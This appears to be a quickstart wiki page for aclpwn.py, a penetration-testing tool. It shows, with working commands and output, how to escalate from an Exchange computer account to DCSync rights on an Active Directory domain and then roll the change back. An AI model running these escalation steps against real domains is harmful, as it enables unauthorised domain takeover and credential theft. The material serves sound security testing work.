-
Notifications
You must be signed in to change notification settings - Fork 107
Quickstart
Install aclpwn.py using pip:
pip install aclpwn
Make sure you have a recent version of impacket
, and to install the python36
branch from GitHub if you want to use aclpwn with Python 3. If you have issues, consider running aclpwn.py from a virtualenv or pipenv. Installing aclpwn will add an executable aclpwn
to your path.
This quickstart assumes you already have BloodHound installed and running, and have imported the ACL data from the SharpHound data collector. You should have identified an ACL attack path you want to exploit, like the Exchange server privilege escalation shown below.
Now the two important objects to keep in mind here are the starting point and ending point, in this example the s2012exc
computer and the testsegment.local
domain.
You can run aclpwn.py and instruct it to find the same path with the following command:
aclpwn -f s2012exc -ft computer -t testsegment.local -tt domain -d testsegment.local -dry
This is the explicit version of the command. Because escalating to the domain is default, the -t
and -tt
parameters could also be omitted in this case:
aclpwn -f s2012exc -ft computer -d testsegment.local -dry
The -dry
parameter will make sure aclpwn will only show you the path and not attempt to exploit it. This should show the same path you identified in BloodHound, but then in textual form:
[+] Path found!
Path: (S2012EXC.TESTSEGMENT.LOCAL)-[MemberOf]->(EXCHANGE TRUSTED SUBSYSTEM@TESTSEGMENT.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@TESTSEGMENT.LOCAL)-[WriteDacl]->(TESTSEGMENT.LOCAL)
[+] Path validated, the following modifications are required for exploitation in the current configuration:
[-] Modifying domain DACL to give DCSync rights to S2012EXC$
There are some different pathfinding methods, by default the Dijkstra algorithm will be used to calculate the most efficient path. For other options, see the pathfinding page on the wiki.
To exploit the path above, simply run the same command but now without the -dry
option. This requires you to be able to connect to a domain controller of the domain you are escalating in. By default aclpwn will attempt to resolve the domain name and connect to the first DC available. If you want to connect to a specific host or IP, specify this with the --server
parameter. There are some advanced exploit options, see the page on exploitation for details.
Since in this case we are escalating from a computer account, we will need the LM:NTLM hashes of this computer account. You can either specify those on the command line or enter them when prompted:
(aclpwn) user@localhost:~/aclpwn$ python aclpwn.py -f s2012exc -ft computer -d testsegment.local
Please supply the password or LM:NTLM hashes of the account you are escalating from:
[+] Path found!
Path: (S2012EXC.TESTSEGMENT.LOCAL)-[MemberOf]->(EXCHANGE TRUSTED SUBSYSTEM@TESTSEGMENT.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@TESTSEGMENT.LOCAL)-[WriteDacl]->(TESTSEGMENT.LOCAL)
[-] Memberof -> continue
[-] Memberof -> continue
[-] Modifying domain DACL to give DCSync rights to S2012EXC$
[+] Dacl modification successful
[+] Finished running tasks
[+] Saved restore state to aclpwn-20181129-182321.restore
aclpwn now performed the modifications and the S2012EXC computer account has privileges to perform DCSync, which can be performed using secretsdump.py (part of impacket).
A restore file is automatically generated even when something goes wrong in the exploitation chain. After the privileges are no longer needed, you can run the same command with the --restore
option and specify the restore file. This will ignore all the other command line options except the --server
option which can still be used to manually specify a domain controller address:
(aclpwn) user@localhost:~/aclpwn$ python aclpwn.py -f s2012exc -ft computer -d testsegment.local --restore aclpwn-20181129-182321.restore
Please supply the password or LM:NTLM hashes for the account S2012EXC.TESTSEGMENT.LOCAL:
[-] Removing ACE using manual approach
[+] Domain Sync privileges restored successfully